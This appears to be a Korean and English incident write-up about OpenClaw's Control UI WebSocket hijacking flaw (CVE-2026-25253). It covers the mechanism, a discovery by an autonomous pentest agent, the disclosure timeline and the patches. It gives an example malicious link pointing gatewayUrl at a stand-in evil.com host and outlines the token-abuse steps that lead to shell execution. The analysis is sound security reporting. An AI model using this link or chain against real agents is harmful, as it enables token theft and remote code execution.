추상적인 짙은 남색 편집 일러스트: 왼쪽의 브라우저 창이 어두운 틈을 가로질러 호박색 토큰 노드로 휘어지는 빛나는 쿼리 문자열 리본을 끌고 가며, 토큰에서 나온 가는 선은 오른쪽의 별도 엔드포인트로 이어진다. 유일한 텍스트는 'QUERY STRING > TOKEN > GATEWAY'라고 적힌 작은 라벨이다. 사람도 로고도 없다.
AI Safety Incidents

OpenClaw Control UI WebSocket 하이재킹: 링크 하나로 RCE

작성자

Gideon Frost

게시일

최신 모델 · 20모든 모델 보기 →
벤치마크: Artificial Analysis · 매일 업데이트
모든 게시물로 돌아가기

2026년 1월 29일 보안 업체 Ethiack은 사용자 자신의 컴퓨터에서 실행되고 Control UI라는 브라우저 대시보드에서 제어되는 오픈소스 개인 AI 에이전트 OpenClaw의 결함에 대한 분석을 발표했습니다. 조작된 링크는 해당 대시보드가 공격자에게 게이트웨이의 인증 토큰을 넘겨주게 할 수 있었고, 그와 함께 로그인한 사용자로서 셸 명령을 실행할 수 있는 권한도 넘겨줄 수 있었습니다. CVE-2026-25253이 2026년 2월 1일에 뒤따랐고, 프로젝트 자체 권고문은 그 다음 날 나왔으며, 둘 다 이 결함을 8.8, 높음으로 평가했습니다. 누군가 Control UI에 로그인한 모든 배포가 범위에 포함되었으며, 루프백에서만 접근 가능한 인스턴스도 포함되었습니다. 이 글을 위해 참고한 어떤 자료에도 이 결함이 실제 사용자에게 악용되었다는 기록은 없습니다. 아카이브는 이 사건을 B 신뢰도 등급과 2026년 1월 29일이라는 일 단위 정밀도의 날짜를 가진 고심각도 인프라 사건으로, 다른 에이전트 보안 항목들과 함께 Orca AI Incident Archive.

Control UI가 URL로 무엇을 했는지

OpenClaw는 사용자가 메시징 앱과 웹 대시보드를 통해 접속하는 자체 호스팅 에이전트로, Ethiack의 글에서 말하는 "전체 시스템 접근 권한"으로 동작합니다. 이 프로젝트는 이미 한 번 이상 이름이 바뀌었으며, OpenClaw 이전에 Clawdbot과 Moltbot이라는 이름을 사용했습니다. 또한 npm 레지스트리에는 openclaw 패키지가 2026년 1월 29일 11:08 UTC에 생성된 것으로 기록되어 있습니다. 여기서 중요한 부분은 대시보드입니다. 대시보드는 게이트웨이 토큰을 브라우저 저장소에 보관했고, 결함이 존재했던 곳도 바로 여기입니다.

The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."

두 가지 브라우저 관련 사실이 그 유출을 탈취로 바꾼다. 브라우저는 WebSocket 연결에 일반 HTTP 요청과 동일한 방식으로 동일 출처 정책을 적용하지 않으며, 게이트웨이는 업그레이드 시 Origin 헤더를 검증하지 않았기 때문에 피해자가 방문한 페이지의 JavaScript가 곧바로 ws://localhost:18789로 소켓을 열 수 있었다(depthfirst, 2026년 2월 1일). 피해자 자신의 브라우저가 아웃바운드 연결을 만들기 때문에, 공격은 루프백에 바인딩되어 네트워크에서는 보이지 않는 게이트웨이에도 도달했다. "이 취약점은 피해자의 브라우저가 아웃바운드 연결을 시작하므로 루프백에서만 수신하도록 구성된 인스턴스에서도 악용할 수 있다"라고 프로젝트의 권고문은 밝힌다. Ethiack은 당시 한 가지 추가 조건을 기록했다. 테스트한 안정적인 Chrome 빌드에는 기본적으로 Local Network Access 권한이 포함되어 있지 않아 브라우저가 어떤 프롬프트도 표시하지 않았다.

훔친 토큰으로 무엇을 할 수 있는지가 나머지 이야기의 핵심이다. 해당 토큰에는 operator.admin 및 operator.approvals 스코프가 있었다. 이를 이용해 공격자는 exec.approvals.set을 "off"로 설정해 실행 승인을 끄고, 실행 호스트를 컨테이너 밖으로 옮기도록 tools.exec.host를 "gateway"로 설정한 뒤, node.invoke / system.run 요청을 통해 호스트에서 셸 명령을 실행할 수 있었다(depthfirst, 2026년 2월 1일; The Hacker News, 2026년 2월 2일). 벤더 권고문은 그 결과를 한 문구로 요약한다. 공격자는 "구성(샌드박스, 도구 정책)을 수정하고 권한 있는 작업을 호출하여 1클릭 RCE를 달성"할 수 있다.

A four-step chain card headed 'From a query string to a shell': step one, a crafted link sets the gatewayUrl parameter; step two, the Control UI auto-connects on load and sends the stored token; step three, the attacker replays the token against the victim's gateway; step four, execution approvals are disabled, the execution host is switched to the gateway, and a shell command runs.

기계가 두 시간 이내에 찾아냈습니다

이번 발견 자체가 AI 실험이었다. Ethiack은 2026년 1월 26일 13:21 UTC에 자율 침투 테스트 에이전트인 Hackian을 실제 운영 중인 OpenClaw 인스턴스에 풀어놓았다. Hackian은 약 1시간 40분 후인 15:05 UTC에 결함을 확인했으며, 이는 Ethiack의 보고서가 제목으로 내세운 수치다. 회사는 18:02 UTC에 OpenClaw 유지관리자들에게 이를 보고했다. Ethiack이 공개한 타임라인과 프로젝트의 커밋 이력에 따르면, 1월 27일 풀 리퀘스트가 이어졌고 수정 사항은 1월 28일 저녁에 메인 브랜치에 반영됐다.

두 번째 팀도 독립적으로 같은 결론에 도달했다. depthfirst의 창립 보안 연구원인 Mav Levin은 2026년 2월 1일 자신의 분석 글을 공개하며 "OpenClaw 팀은 내가 보고한 문제를 신속히 대응하고 수정했다"고 썼고, 다른 누군가가 같은 버그를 독립적으로 보고했다고도 밝혔다. GitHub의 보안 공지에서는 보고자로 DepthFirstDisclosures를 인정하고 발견자 중 0xacb와 mavlevin을 모두 나열한다. 0xacb 계정의 프로필 이름은 André Baptista로, Ethiack 분석 글의 세 공동 저자 중 한 명이며, 이는 타임라인과 맞아떨어진다. 수정 사항에 대한 Ethiack의 풀 리퀘스트는 1월 27일 해당 계정에서 열렸고, 유지관리자의 커밋은 그 계정을 이름으로 언급하며 감사를 표한다. 이 기사를 위해 읽은 어떤 출처도 두 작업이 발표 전에 서로를 알고 있었다고 말하지 않으며, 누구도 그 공로에 이의를 제기하지 않는다.

A timeline card with seven dated rows: 26 January 2026 at 13:21 UTC an autonomous pentesting agent starts against a live OpenClaw instance; 15:05 UTC the flaw is confirmed; 18:02 UTC it is reported to the maintainers; 27 January at 17:12 UTC a pull request is opened; 28 January between 21:26 and 21:32 UTC the fix series lands on the main branch; 30 January npm publishes 2026.1.29 at 04:49 UTC and the GitHub release follows at 05:26 UTC; 1 February at 22:34 UTC the CVE record is published, with the project advisory on 2 February.

레코드의 날짜와 그 주변 날짜

아카이브는 이 항목의 날짜를 2026년 1월 29일로 일 단위 정밀도로 기록하며, 이는 Ethiack의 연구가 공개된 날과 일치한다. 코드 수정은 이미 전날 반영되어 있었다. 이를 포함한 태그 릴리스는 UTC 기준 1월 30일 이른 시간에 이어졌는데, 이는 미국 태평양 시간으로 1월 29일 저녁이다. npm은 2026.1.29 버전을 1월 30일 04:49 UTC에, GitHub 릴리스는 05:26 UTC에 기록한다. MITRE의 CVE 기록은 2026년 2월 1일 22:34 UTC, GitHub의 보안 권고는 2월 2일 23:41 UTC이며, The Hacker News는 2월 2일에 이 결함을 보도했다.

해당 기록이 인용한 출처인 Permission Protocol의 에이전트 인시던트 트래커는 자체 타임라인을 유지하며, 일부는 늦게 진행된다. 이 트래커는 패치 릴리스 시점을 버전 번호와 일치하는 2026-01-29로 잡지만, 취약점의 "초기 보고"는 2026-02-12로, CVE-2026-25253의 광범위한 공개는 2026-02-26으로, 독립적인 라운드업은 2026-03-24로 기록한다. 원문 문서들은 다르게 말한다. 2월 26일 날짜는 식별자가 존재한 지 3주 반 후에 발표된 SonicWall의 패치 분석에 해당하며, 2월 12일은 두 연구 보고서와 벤더 분석보다 앞서는 것이 아니라 그 사이에 놓인다. 트래커의 마지막 타임라인 행은 이 메커니즘을 "제로 클릭"이라고 부르지만, 벤더 권고문은 이를 1-클릭이라고 부르며, 공개된 모든 설명은 링크를 열어야 하는 피해자를 묘사한다. 이러한 날짜와 레이블이 다를 경우, 이 기사는 CVE 기록, 벤더 권고문 및 두 연구 보고서를 따른다.

그 출처에 관한 한 가지 주의점은 공개적으로 밝힐 가치가 있습니다. Permission Protocol은 인가 게이트를 판매하며, 그 항목은 자사 제품이 차단했을 사건을 중심으로 해당 사고를 구성합니다. 해당 페이지는 그 평가를 조건부라고 표시하고, 스스로에 대해 “그 출처는 제품의 예방 결과를 입증하지 않는다”라고 말합니다. 기록이 정확히 담고 있는 것은 그 프레이밍입니다. 연구는 CVE가 존재하기 사흘 전에 공개되었으며, 이것이 아카이브가 이를 CVE-2026-25253보다 앞선 조기 발견이라고 부르는 이유입니다.

실제로 무엇이 피해를 입었나요?

어떤 출처의 기록으로도 확인되는 바는 없다. 아카이브는 해당 기록을 real_harm false로 표시하며, 이는 그 주변에 공개된 모든 내용과 일치한다. 벨기에 사이버보안센터(Centre for Cybersecurity)는 2026년 2월 2일 권고를 발표하여 “현재 이 취약점이 실제 환경에서 악용되었다는 증거는 없다”고 밝혔다. Ethiack, depthfirst, SonicWall, The Hacker News 중 어느 곳도 피해자, 침해된 설치 또는 유출된 데이터를 보고하지 않으며, 노출된 설치가 몇 개인지에 대해서도 아무도 수치를 제시하지 않는다. Ethiack은 취약한 구성으로 “공용 서버에서 실행 중인 수많은 인스턴스”가 있었다고만 언급하는데, 이는 수치라기보다 인상에 가깝다.

실제로 존재하는 것은 동작하는 익스플로잇 코드입니다. Ethiack은 자체 분석 글과 함께 전체 익스플로잇 소스를 공개했고, 자사 인스턴스를 대상으로 이 공격 체인을 시연했습니다. SonicWall의 2월 분석은 "공개적으로 이용 가능한 익스플로잇을 사용한" 토큰 탈취를 보여줍니다. 2026년 3월 9일에는 GitHub에 제3자 개념 증명 저장소가 등장했습니다. 공개된 익스플로잇 코드는 실제 악용과 동일하지 않으며, 아카이브의 harm 플래그는 후자에 관한 것입니다.

한 출처는 나머지보다 느슨해서 짚고 넘어갈 가치가 있다. 벨기에 권고문의 위험 섹션은 공격자가 제어하는 콘텐츠를 봇 자체가 렌더링하는 것을 트리거로 설명하는데, 이는 벤더 권고문이나 두 연구 보고서 중 어느 것에서도 나오는 메커니즘이 아니다. 세 문서 모두에서 피해자의 브라우저가 링크로 유인되며, 에이전트는 표적이지 전달 수단이 아니다. 인용할 만한 부분은 그 권고문의 악용 관련 진술이지, 메커니즘 요약이 아니다.

무엇이 바뀌었고, 첫 번째 수정이 무엇을 미해결로 남겼는지

2026.1.29의 수정 사항은 Control UI가 다른 게이트웨이 URL로 전환하기 전에 확인 대화상자를 추가했습니다. 프로젝트의 권고문은 이 변경을 "이 변경으로 인해 사용자는 이제 UI에서 새 게이트웨이 URL을 확인해야 합니다"라고 설명하며, 해당 대화상자를 렌더링하는 파일은 v2026.1.29 태그에 존재합니다. 이로 인해 공격 비용은 한 번의 클릭에서 한 번의 클릭에 더해 의도적인 확인까지 필요하게 되었습니다. 다만 URL 매개변수에 대한 근본적인 신뢰가 제거된 것은 아닙니다.

체인의 나머지 절반인 Origin 검증은 나중에 등장했습니다. SonicWall의 패치 분석에는 "이후 업데이트에서 엄격한 origin 검증 제어가 구현되었다"고 기록되어 있으며, 네 가지 검사를 나열합니다. 누락되었거나 유효하지 않은 Origin 헤더를 거부합니다. Host 헤더와 일치하는 Origin 호스트를 허용합니다. 루프백에서 루프백으로의 연결을 허용합니다. 구성된 allowedOrigins 목록에 명시된 origin을 허용합니다. 그리고 그 외의 모든 것을 거부합니다. 이러한 순서는 v2026.1.29 태그의 프로젝트 소스에서 확인할 수 있는데, 여기서 WebSocket 업그레이드 핸들러는 Origin 헤더에 정책을 적용하지 않은 채 읽고 로그만 기록합니다.

다른 대응들은 코드가 아닌 탐지였다. SonicWall은 자사가 OpenClaw 민감 데이터 노출이라고 부르는 것에 대해 IPS 시그니처 21908을 배포했다. depthfirst는 노출이 의심될 경우 업그레이드하고 게이트웨이 토큰을 교체할 것을 권고했는데, 이는 메커니즘에서 직접 도출되는 조치다. 탈취된 토큰은 누군가가 변경하기 전까지 유효하게 유지되기 때문이다.

무엇이 확립되었으며, 무엇이 그렇지 않은가

1차 문서를 통해 확인된 사실: 취약한 코드 경로는 쿼리 문자열에서 gatewayUrl을 읽고 검증 없이 자동 연결했다. 연결 프레임은 저장된 토큰을 담고 있었다. 게이트웨이는 WebSocket origin을 검증하지 않았으므로, 어떤 사이트의 브라우저든 루프백에 접근할 수 있었다. 토큰은 admin 및 approval 스코프를 갖고 있었다. 2026.1.29 이전 버전이 영향을 받았다. 그리고 두 팀이 독립적으로 이 결함을 발견했으며, 그중 한 팀은 외부에서 작업하던 자율 에이전트였다.

확립되지 않은 사항: 누군가 이를 악용했는지, 당시 몇 개의 설치가 접근 가능했는지, 그리고 확인 대화상자만으로 결심한 공격자를 막을 수 있을지 여부. 아카이브의 B 등급은 메커니즘에 대한 의문이라기보다 하나의 2차 트래커에 기반한 인용 기반을 반영하며, 해당 기록은 분쟁 표시가 되어 있지 않다. 이러한 메커니즘은 벤더 권고문, MITRE의 CVE 기록, 그리고 두 개의 독립 연구 보고서에 의해 뒷받침되는데, 이는 기록 자체가 스스로 주장하는 것보다 더 많은 것이다.

A two-column comparison card. The left column, headed 'Established by primary documents', lists: the gatewayUrl query parameter was trusted and auto-connected; the connect frame sent the stored token; WebSocket origin was not validated; the token held operator.admin and operator.approvals; versions before 2026.1.29 were affected; two teams found it independently. The right column, headed 'Not established', lists: any in-the-wild exploitation; a count of reachable installations; whether the confirmation dialog alone defeats the attack.

아카이브의 한 줄 요약은 이를 CVE-2026-25253보다 앞선 이른 발견이라고 부르며, 그것이 이 항목을 읽는 올바른 방식입니다. 즉 식별자가 붙기 전에 발견되고 보고되고 수정된 결함의 기록이며, 그 결함은 자신이 실행되는 머신에서 명령을 실행하도록 만들어진 제품에서 발생했습니다. 뒤따른 CVE는 동일한 세 가지 동작, 즉 쿼리 매개변수, 요청 없는 연결, 핸드셰이크 내 토큰을 설명하며, 이 글을 위해 확인한 어떤 출처도 그 반대편에 누군가가 있다고 말하지 않습니다.